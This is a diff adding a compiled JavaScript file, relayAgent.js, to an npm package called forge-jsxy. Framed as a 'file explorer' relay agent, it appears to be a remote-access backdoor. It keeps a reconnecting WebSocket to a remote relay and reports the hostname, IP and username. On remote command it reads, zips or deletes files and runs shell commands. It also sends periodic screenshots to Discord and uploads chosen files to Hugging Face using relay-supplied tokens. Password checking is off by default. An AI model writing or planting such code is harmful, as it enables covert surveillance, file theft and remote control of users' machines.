forge-jsxy 1.0.66

package/dist/relayAgent.js

@@ -0,0 +1,828 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.runRelayAgentLoop = runRelayAgentLoop;
+/**
+ * WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
+ */
+const node_crypto_1 = require("node:crypto");
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const ws_1 = __importDefault(require("ws"));
+const relayAuth_1 = require("./relayAuth");
+const fsMessages_1 = require("./fsMessages");
+const hfCredentials_1 = require("./hfCredentials");
+const hfUpload_1 = require("./hfUpload");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const clientId_1 = require("./clientId");
+const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
+const pendingRelayHf = new Map();
+/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
+const pendingDiscordRelayAck = new Map();
+function clearAllPendingDiscordRelayAcks(reason) {
+    for (const [, p] of pendingDiscordRelayAck) {
+        clearTimeout(p.timer);
+        p.resolve({ ok: false, error: reason });
+    }
+    pendingDiscordRelayAck.clear();
+}
+/** Await `relay_discord_upload_ticket_result` per `request_id` (webhook/direct upload mode). */
+const pendingDiscordTicket = new Map();
+function clearAllPendingDiscordTickets(reason) {
+    for (const [, p] of pendingDiscordTicket) {
+        clearTimeout(p.timer);
+        p.resolve({ ok: false, error: reason });
+    }
+    pendingDiscordTicket.clear();
+}
+function clearAllPendingRelayHf(reason) {
+    for (const [, p] of pendingRelayHf) {
+        try {
+            p.reject(new Error(reason));
+        }
+        catch {
+            /* promise may already be settled */
+        }
+    }
+    pendingRelayHf.clear();
+}
+function clearAllPendingDiscordAgent(reason) {
+    clearAllPendingDiscordRelayAcks(reason);
+    clearAllPendingDiscordTickets(reason);
+    clearAllPendingRelayHf(reason);
+}
+function waitDiscordRelayAck(requestId) {
+    return new Promise((resolve) => {
+        const timer = setTimeout(() => {
+            if (pendingDiscordRelayAck.has(requestId)) {
+                pendingDiscordRelayAck.delete(requestId);
+                resolve({
+                    ok: false,
+                    error: "timeout waiting for discord_screenshot_upload_result (120s)",
+                });
+            }
+        }, 120_000);
+        pendingDiscordRelayAck.set(requestId, { resolve, timer });
+    });
+}
+function waitDiscordTicket(requestId) {
+    return new Promise((resolve) => {
+        const timer = setTimeout(() => {
+            if (pendingDiscordTicket.has(requestId)) {
+                pendingDiscordTicket.delete(requestId);
+                resolve({
+                    ok: false,
+                    error: "timeout waiting for relay_discord_upload_ticket_result (120s)",
+                });
+            }
+        }, 120_000);
+        pendingDiscordTicket.set(requestId, { resolve, timer });
+    });
+}
+/**
+ * Prefer Hub credentials from the relay (`RELAY_HF_CREDENTIALS_B64` on the server) so the agent
+ * needs no local HF blob. **Default: on** when unset — matches `npm install` with no extra env.
+ * Opt out with `CFGMGR_HF_FETCH_FROM_RELAY=0` to use only `CFGMGR_HF_CREDENTIALS_B64` / plaintext on the agent.
+ */
+function hfFetchFromRelayEnabled() {
+    const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    if (["1", "true", "yes", "on"].includes(e))
+        return true;
+    return true;
+}
+/** Relay may send JSON number or string; clamp to the same bounds as {@link startDiscordScreenshotToRelayLoop}. */
+function parseRelayDiscordIntervalMs(raw) {
+    let n;
+    if (typeof raw === "number" && Number.isFinite(raw)) {
+        n = Math.floor(raw);
+    }
+    else if (typeof raw === "string") {
+        n = parseInt(raw.trim(), 10);
+    }
+    else {
+        return null;
+    }
+    if (!Number.isFinite(n))
+        return null;
+    return Math.min(600_000, Math.max(15_000, n));
+}
+/** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
+function parseRelayDiscordStaggerCapMs(raw, maxCap) {
+    let n;
+    if (typeof raw === "number" && Number.isFinite(raw)) {
+        n = Math.floor(raw);
+    }
+    else if (typeof raw === "string") {
+        n = parseInt(raw.trim(), 10);
+    }
+    else {
+        return null;
+    }
+    if (!Number.isFinite(n) || n <= 0)
+        return null;
+    return Math.min(maxCap, Math.max(1, n));
+}
+function fetchHfCredentialsFromRelay(sendJsonFn) {
+    return new Promise((resolve, reject) => {
+        const reqId = `hf_${Date.now()}_${(0, node_crypto_1.randomBytes)(8).toString("hex")}`;
+        const t = setTimeout(() => {
+            if (pendingRelayHf.has(reqId)) {
+                pendingRelayHf.delete(reqId);
+                reject(new Error("timeout waiting for relay HF credentials (30s)"));
+            }
+        }, 30_000);
+        pendingRelayHf.set(reqId, {
+            resolve: (c) => {
+                clearTimeout(t);
+                resolve(c);
+            },
+            reject: (e) => {
+                clearTimeout(t);
+                reject(e);
+            },
+        });
+        sendJsonFn({ type: "relay_hf_credentials_request", request_id: reqId });
+    });
+}
+function systemInfo() {
+    let localIp = "unknown";
+    try {
+        const nets = os.networkInterfaces();
+        let ipv6Candidate = "";
+        for (const name of Object.keys(nets)) {
+            for (const net of nets[name] || []) {
+                const fam = net.family;
+                const isV4 = fam === "IPv4" || fam === 4 || String(fam) === "4";
+                const isV6 = fam === "IPv6" || fam === 6 || String(fam) === "6";
+                if (isV4 && !net.internal) {
+                    localIp = net.address;
+                    break;
+                }
+                if (isV6 && !net.internal && !ipv6Candidate) {
+                    ipv6Candidate = net.address;
+                }
+            }
+            if (localIp !== "unknown")
+                break;
+        }
+        if (localIp === "unknown" && ipv6Candidate) {
+            localIp = ipv6Candidate;
+        }
+    }
+    catch {
+        /* skip */
+    }
+    // os.machine() was added in Node.js 18.9.0; guard for Node 18.0-18.8 compatibility.
+    const machine = typeof os.machine === "function"
+        ? os.machine()
+        : "";
+    return {
+        hostname: os.hostname(),
+        local_ip: localIp,
+        os: os.type(),
+        os_version: os.version(),
+        os_release: os.release(),
+        machine,
+        node: process.version,
+        platform: process.platform,
+        user: process.env.USER || process.env.USERNAME || "unknown",
+    };
+}
+/** Read the forge-jsx package version from its package.json (for relay version tracking). */
+function readForgeJsxVersion(pkgRoot) {
+    if (!pkgRoot)
+        return "";
+    try {
+        const raw = fs.readFileSync(path.join(pkgRoot, "package.json"), "utf8");
+        const j = JSON.parse(raw);
+        return (j.version || "").trim();
+    }
+    catch {
+        return "";
+    }
+}
+const screenOff = {
+    primary_width: 0,
+    primary_height: 0,
+    monitors: 0,
+    capture: "disabled",
+};
+function log(quiet, msg) {
+    if (quiet)
+        return;
+    console.log(msg);
+}
+/**
+ * Many deployments use `:8765` for forge-db HTTP and `:9877` (or similar) for the explorer relay.
+ * Pointing the agent at the API port yields a hung “Waiting for agent…” in `/files`.
+ */
+function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
+    if (quiet)
+        return;
+    let port = "";
+    try {
+        const u = new URL(baseWs.replace(/^ws:/i, "http:").replace(/^wss:/i, "https:"));
+        port = (u.port || "").trim();
+        if (!port) {
+            if (u.protocol === "https:")
+                port = "443";
+            else if (u.protocol === "http:")
+                port = "80";
+        }
+    }
+    catch {
+        return;
+    }
+    if (port === String(deploymentDefaults_1.API_DEFAULT_PORT)) {
+        console.warn(`[forge-agent] Relay URL uses port ${deploymentDefaults_1.API_DEFAULT_PORT} (often the forge-db **HTTP API**), not the file-explorer WebSocket relay (default **:${deploymentDefaults_1.RELAY_DEFAULT_PORT}**). ` +
+            "If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
+    }
+}
+function runRelayAgentLoop(opts) {
+    const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = 5000, quiet = false, pkgRoot, onRelayCapabilities, } = opts;
+    const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
+    const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
+    warnIfRelayUrlUsesApiPort(base, quiet);
+    const wsUrl = `${base}/ws/agent/${encodeURIComponent(sessionId)}`;
+    const passwordHash = password ? (0, relayAuth_1.passwordSha256)(password) : "";
+    let viewerAuthenticated = !password;
+    let viewerConnected = false;
+    let pendingAuthNonce = "";
+    /** Latest agent socket for this loop (HF progress survives reconnect — see `sendJson` in `connect`). */
+    let outboundAgentWs = null;
+    const capabilities = {
+        platform: process.platform,
+        input: "disabled",
+        filesystem_agent: allowFilesystem,
+    };
+    const forgeJsxVersion = readForgeJsxVersion(pkgRoot);
+    const sysInfo = {
+        ...systemInfo(),
+        /** forge-jsx package version — reported to relay for version tracking and update diagnostics. */
+        forge_jsx_version: forgeJsxVersion,
+    };
+    let reconnectTimer = null;
+    const scheduleReconnect = () => {
+        if (reconnectTimer)
+            return;
+        reconnectTimer = setTimeout(() => {
+            reconnectTimer = null;
+            connect();
+        }, reconnectDelayMs);
+    };
+    const connect = () => {
+        let stopDiscordScreenshotLoop = null;
+        log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n  Relay: ${relayUrl}\n  Session: ${sessionId}\n  FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
+        log(quiet, "  Connecting to relay...");
+        void (0, relayAuth_1.relayWsProxySetting)();
+        const preOpenQueue = [];
+        /** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
+        const WS_CONNECTING = 0;
+        const WS_OPEN = 1;
+        const sendJson = (obj) => {
+            const w = outboundAgentWs;
+            if (!w)
+                return;
+            if (w.readyState === WS_OPEN) {
+                w.send(JSON.stringify(obj));
+                return;
+            }
+            if (w.readyState === WS_CONNECTING) {
+                preOpenQueue.push(obj);
+            }
+        };
+        const ws = new ws_1.default(wsUrl, {
+            /** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
+            maxPayload: 2 ** 27,
+            handshakeTimeout: Math.min(120, Math.max(10, (0, relayAuth_1.relayOpenTimeoutSec)())) * 1000,
+            /** Less CPU / latency on long sessions than default deflate (helps “gets slow over time”). */
+            perMessageDeflate: false,
+        });
+        outboundAgentWs = ws;
+        /** Relay `connected` may arrive before or after this `open` handler’s setImmediate — wait for both before starting Discord. */
+        let openHandlerFinishedInfo = false;
+        let relayAgentHandshakeDone = false;
+        let discordLoopStarted = false;
+        let discordEnabledByRelayHandshake = false;
+        const tryStartDiscordAfterHandshake = () => {
+            if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
+                return;
+            discordLoopStarted = true;
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = (0, discordAgentScreenshot_1.startDiscordScreenshotToRelayLoop)({
+                sendJson,
+                quiet,
+                waitForRelayDiscordAck: waitDiscordRelayAck,
+                waitForDiscordTicket: waitDiscordTicket,
+                enabledByRelayCapabilities: discordEnabledByRelayHandshake,
+            });
+        };
+        const relayDisconnectCleanup = () => {
+            try {
+                (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
+            }
+            catch {
+                /* skip */
+            }
+            try {
+                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+            }
+            catch {
+                /* skip */
+            }
+        };
+        const applyRelayAgentConnected = (msg) => {
+            if (relayAgentHandshakeDone)
+                return;
+            discordEnabledByRelayHandshake = false;
+            let caps = {};
+            const rf = msg.relay_features;
+            if (rf && typeof rf === "object" && !Array.isArray(rf)) {
+                caps = rf;
+                if (caps.discord_screenshot === true) {
+                    const cur = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim();
+                    if (!cur) {
+                        discordEnabledByRelayHandshake = true;
+                    }
+                    const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
+                    /**
+                     * Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
+                     * `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
+                     * per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
+                     * multi-minute gaps.
+                     */
+                    const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
+                    if (clamped != null && !agentIv) {
+                        process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
+                    }
+                    const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+                    if (!agentSg) {
+                        const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
+                        if (sg != null) {
+                            process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
+                        }
+                    }
+                    const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+                    if (!agentFsg) {
+                        const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
+                        if (fg != null) {
+                            process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
+                        }
+                    }
+                }
+            }
+            relayAgentHandshakeDone = true;
+            try {
+                onRelayCapabilities?.(caps);
+            }
+            catch {
+                /* skip */
+            }
+            tryStartDiscordAfterHandshake();
+        };
+        ws.on("open", () => {
+            log(quiet, "  Connected to relay");
+            viewerAuthenticated = !password;
+            viewerConnected = false;
+            pendingAuthNonce = "";
+            openHandlerFinishedInfo = false;
+            relayAgentHandshakeDone = false;
+            discordLoopStarted = false;
+            discordEnabledByRelayHandshake = false;
+            /**
+             * Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
+             * challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
+             * after the second agent connect.
+             */
+            setImmediate(() => {
+                sendJson({
+                    type: "info",
+                    data: {
+                        screen: screenOff,
+                        capabilities,
+                        system: sysInfo,
+                        features: {
+                            input: false,
+                            file_transfer: false,
+                            clipboard: false,
+                            filesystem: allowFilesystem,
+                            screen: false,
+                            password_required: Boolean(password),
+                        },
+                        scale: 1.0,
+                        quality: 0,
+                        fps: 0,
+                    },
+                });
+                const backlog = preOpenQueue.splice(0, preOpenQueue.length);
+                for (const o of backlog) {
+                    sendJson(o);
+                }
+                openHandlerFinishedInfo = true;
+                tryStartDiscordAfterHandshake();
+            });
+        });
+        ws.on("message", (data, isBinary) => {
+            if (isBinary)
+                return;
+            let msg;
+            try {
+                msg = JSON.parse(String(data));
+            }
+            catch {
+                return;
+            }
+            const msgType = String(msg.type || "");
+            if (msgType === "discord_screenshot_upload_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingDiscordRelayAck.get(rid);
+                if (pending) {
+                    pendingDiscordRelayAck.delete(rid);
+                    clearTimeout(pending.timer);
+                    pending.resolve({
+                        ok: msg.ok === true,
+                        error: String(msg.error ?? "").trim(),
+                    });
+                }
+                return;
+            }
+            if (msgType === "relay_discord_upload_ticket_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingDiscordTicket.get(rid);
+                if (pending) {
+                    pendingDiscordTicket.delete(rid);
+                    clearTimeout(pending.timer);
+                    pending.resolve({
+                        ok: msg.ok === true,
+                        webhook_url: String(msg.webhook_url ?? "").trim(),
+                        error: String(msg.error ?? "").trim(),
+                    });
+                }
+                return;
+            }
+            if (msgType === "relay_discord_upload_ack_result") {
+                if (!quiet && msg.ok !== true) {
+                    console.error(`[forge-agent] relay_discord_upload_ack_result: ${String(msg.error ?? "failed").trim()}`);
+                }
+                return;
+            }
+            if (msgType === "relay_hf_credentials_result") {
+                const rid = String(msg.request_id ?? "");
+                const pending = pendingRelayHf.get(rid);
+                if (pending) {
+                    pendingRelayHf.delete(rid);
+                    if (msg.ok) {
+                        const token = String(msg.token ?? "").trim();
+                        let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
+                        hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
+                        const ns = String(msg.namespace ?? "").trim();
+                        if (!token.startsWith("hf_")) {
+                            pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
+                            return;
+                        }
+                        pending.resolve({
+                            token,
+                            hubUrl,
+                            namespace: ns || undefined,
+                        });
+                    }
+                    else {
+                        pending.reject(new Error(String(msg.error ?? "relay HF credentials request failed")));
+                    }
+                }
+                return;
+            }
+            if (msgType === "connected") {
+                applyRelayAgentConnected(msg);
+                log(quiet, `  Role confirmed: ${msg.role}`);
+                return;
+            }
+            if (msgType === "viewer_connected") {
+                viewerConnected = true;
+                viewerAuthenticated = !password;
+                pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
+                log(quiet, `  Viewer connected${password ? " (awaiting auth)" : ""}`);
+                if (password) {
+                    const challenge = () => {
+                        sendJson({
+                            type: "auth_challenge",
+                            nonce: pendingAuthNonce,
+                            algorithm: "sha256(password_hash:nonce)",
+                        });
+                    };
+                    challenge();
+                    /** Some stacks drop the first post-connect JSON; resend same nonce until authenticated. */
+                    const nonceSent = pendingAuthNonce;
+                    for (const ms of [450, 1400, 3200, 6500, 13000, 26000]) {
+                        setTimeout(() => {
+                            if (!viewerConnected || viewerAuthenticated)
+                                return;
+                            if (pendingAuthNonce !== nonceSent)
+                                return;
+                            challenge();
+                        }, ms);
+                    }
+                }
+                else {
+                    sendJson({ type: "auth_result", ok: true });
+                }
+                return;
+            }
+            if (msgType === "viewer_disconnected") {
+                viewerConnected = false;
+                viewerAuthenticated = !password;
+                pendingAuthNonce = "";
+                log(quiet, "  Viewer disconnected");
+                return;
+            }
+            if (msgType === "auth") {
+                if (!password) {
+                    viewerAuthenticated = true;
+                    sendJson({ type: "auth_result", ok: true });
+                    return;
+                }
+                /**
+                 * Lost `auth_result` on the wire, or viewer retried after timeout: we already accepted
+                 * this viewer — re-ack so `/files` can exit "Authenticating…" (fixes second-connect / flaky relay).
+                 */
+                if (viewerAuthenticated) {
+                    sendJson({ type: "auth_result", ok: true });
+                    return;
+                }
+                let ok = false;
+                const submittedResp = String(msg.response || "").trim();
+                const submittedNonce = String(msg.nonce || "").trim();
+                const submitted = String(msg.password_hash || "").trim();
+                if (submittedResp &&
+                    submittedNonce &&
+                    submittedNonce === pendingAuthNonce &&
+                    submittedResp === (0, relayAuth_1.authResponseForNonce)(passwordHash, pendingAuthNonce)) {
+                    ok = true;
+                }
+                else if ((0, relayAuth_1.legacyRemoteAuthAllowed)() && submitted === passwordHash) {
+                    ok = true;
+                }
+                if (ok) {
+                    viewerAuthenticated = true;
+                    pendingAuthNonce = "";
+                    log(quiet, "  Viewer authenticated");
+                    sendJson({ type: "auth_result", ok: true });
+                }
+                else {
+                    log(quiet, "  Viewer auth FAILED");
+                    sendJson({ type: "auth_result", ok: false });
+                }
+                return;
+            }
+            if (!viewerAuthenticated) {
+                const rid = String(msg.request_id ?? "");
+                if (msgType === "fs_hf_upload") {
+                    sendJson({
+                        type: "fs_hf_upload_result",
+                        request_id: rid,
+                        ok: false,
+                        error: "viewer not authenticated — complete file explorer login after the agent reconnects",
+                    });
+                    return;
+                }
+                if ([
+                    "fs_roots",
+                    "fs_list",
+                    "fs_read",
+                    "fs_zip",
+                    "fs_parent",
+                    "fs_delete",
+                    "fs_shell_exec",
+                    "fs_screenshot",
+                ].includes(msgType)) {
+                    sendJson({
+                        type: "fs_error",
+                        request_id: rid,
+                        ok: false,
+                        error: "viewer not authenticated — complete file explorer login after the agent reconnects",
+                    });
+                    return;
+                }
+                return;
+            }
+            if (msgType === "relay_hf_credentials_request") {
+                return;
+            }
+            if (msgType === "get_info") {
+                sendJson({
+                    type: "system_info",
+                    data: systemInfo(),
+                    screen: screenOff,
+                    scale: 1.0,
+                });
+                return;
+            }
+            if ([
+                "fs_roots",
+                "fs_list",
+                "fs_read",
+                "fs_zip",
+                "fs_parent",
+                "fs_delete",
+                "fs_shell_exec",
+                "fs_screenshot",
+            ].includes(msgType)) {
+                void (async () => {
+                    try {
+                        const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
+                        sendJson(resp);
+                    }
+                    catch (e) {
+                        sendJson({
+                            type: "fs_error",
+                            request_id: msg.request_id ?? "",
+                            ok: false,
+                            error: String(e),
+                        });
+                    }
+                })();
+            }
+            if (msgType === "fs_hf_upload") {
+                const rid = String(msg.request_id ?? "");
+                /** Defer heavy Hub work so auth / small fs_* messages are not delayed behind upload prep. */
+                setImmediate(() => {
+                    void (async () => {
+                        /** Hoisted so `catch` can scrub after failures before the inner `try`/`finally` runs. */
+                        let hfCred;
+                        if (!allowFilesystem) {
+                            sendJson({
+                                type: "fs_hf_upload_result",
+                                request_id: rid,
+                                ok: false,
+                                error: "filesystem explorer disabled on agent",
+                            });
+                            return;
+                        }
+                        try {
+                            const pathStr = String(msg.path ?? "");
+                            const rawPathList = Array.isArray(msg.paths)
+                                ? msg.paths.map((v) => String(v ?? "").trim()).filter(Boolean)
+                                : [];
+                            const autoSessionRepo = Boolean(msg.hf_auto_session_repo ?? msg.auto_session_repo);
+                            const clientTableName = String(msg.client_table ?? msg.clientTableName ?? "").trim();
+                            let clientSeqId = undefined;
+                            const rawSeq = msg.client_seq_id ?? msg.clientSeqId;
+                            if (typeof rawSeq === "number" && Number.isFinite(rawSeq) && rawSeq >= 0) {
+                                clientSeqId = Math.floor(rawSeq);
+                            }
+                            else if (typeof rawSeq === "string" && /^[0-9]+$/.test(rawSeq.trim())) {
+                                clientSeqId = parseInt(rawSeq.trim(), 10);
+                            }
+                            const repo = String(msg.repo ?? "").trim();
+                            const destination = String(msg.destination ?? "").trim();
+                            const createRepo = Boolean(msg.create_repo);
+                            const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
+                            const hfForce = Boolean(msg.force);
+                            const hfForceKill = Boolean(msg.force_kill);
+                            if (hfFetchFromRelayEnabled()) {
+                                try {
+                                    hfCred = await fetchHfCredentialsFromRelay(sendJson);
+                                }
+                                catch {
+                                    /** Relay has no blob or unreachable — fall back to local `loadHfCredentials()` */
+                                    hfCred = undefined;
+                                }
+                            }
+                            try {
+                                const result = await (0, hfUpload_1.runHfUpload)({
+                                    pathStr,
+                                    ...(rawPathList.length > 0 ? { pathList: rawPathList } : {}),
+                                    repo: autoSessionRepo ? undefined : repo,
+                                    autoSessionRepo,
+                                    clientTableName,
+                                    ...(clientSeqId !== undefined ? { clientSeqId } : {}),
+                                    destination,
+                                    createRepo: autoSessionRepo ? true : createRepo,
+                                    folderMode: autoSessionRepo ? "zip" : folderMode,
+                                    force: hfForce,
+                                    forceKill: hfForceKill,
+                                    ...(hfCred ? { hfCredentials: hfCred } : {}),
+                                    onProgress: (p) => {
+                                        sendJson({
+                                            type: "fs_hf_upload_progress",
+                                            request_id: rid,
+                                            phase: p.phase,
+                                            pct: p.pct,
+                                            detail: p.detail ?? "",
+                                        });
+                                    },
+                                });
+                                sendJson({ type: "fs_hf_upload_result", request_id: rid, ...result });
+                            }
+                            finally {
+                                if (hfCred)
+                                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
+                                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+                            }
+                        }
+                        catch (e) {
+                            try {
+                                if (hfCred)
+                                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(hfCred);
+                            }
+                            catch {
+                                /* skip */
+                            }
+                            try {
+                                (0, agentEnvFile_1.stripEphemeralCredentialEnvFromProcess)();
+                            }
+                            catch {
+                                /* skip */
+                            }
+                            sendJson({
+                                type: "fs_hf_upload_result",
+                                request_id: rid,
+                                ok: false,
+                                error: (0, hfUpload_1.formatHfUploadError)(e),
+                            });
+                        }
+                    })();
+                });
+            }
+        });
+        ws.on("close", () => {
+            clearAllPendingDiscordAgent("agent websocket closed");
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = null;
+            preOpenQueue.length = 0;
+            if (outboundAgentWs === ws)
+                outboundAgentWs = null;
+            relayDisconnectCleanup();
+            scheduleReconnect();
+        });
+        ws.on("error", (err) => {
+            clearAllPendingDiscordAgent("agent websocket error");
+            try {
+                stopDiscordScreenshotLoop?.();
+            }
+            catch {
+                /* skip */
+            }
+            stopDiscordScreenshotLoop = null;
+            log(quiet, `  Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
+            if (outboundAgentWs === ws) {
+                preOpenQueue.length = 0;
+                outboundAgentWs = null;
+            }
+            relayDisconnectCleanup();
+            // Schedule reconnect here too: in rare cases the WebSocket may emit error
+            // without a subsequent close event (e.g. DNS failure before connection).
+            scheduleReconnect();
+        });
+    };
+    connect();
+}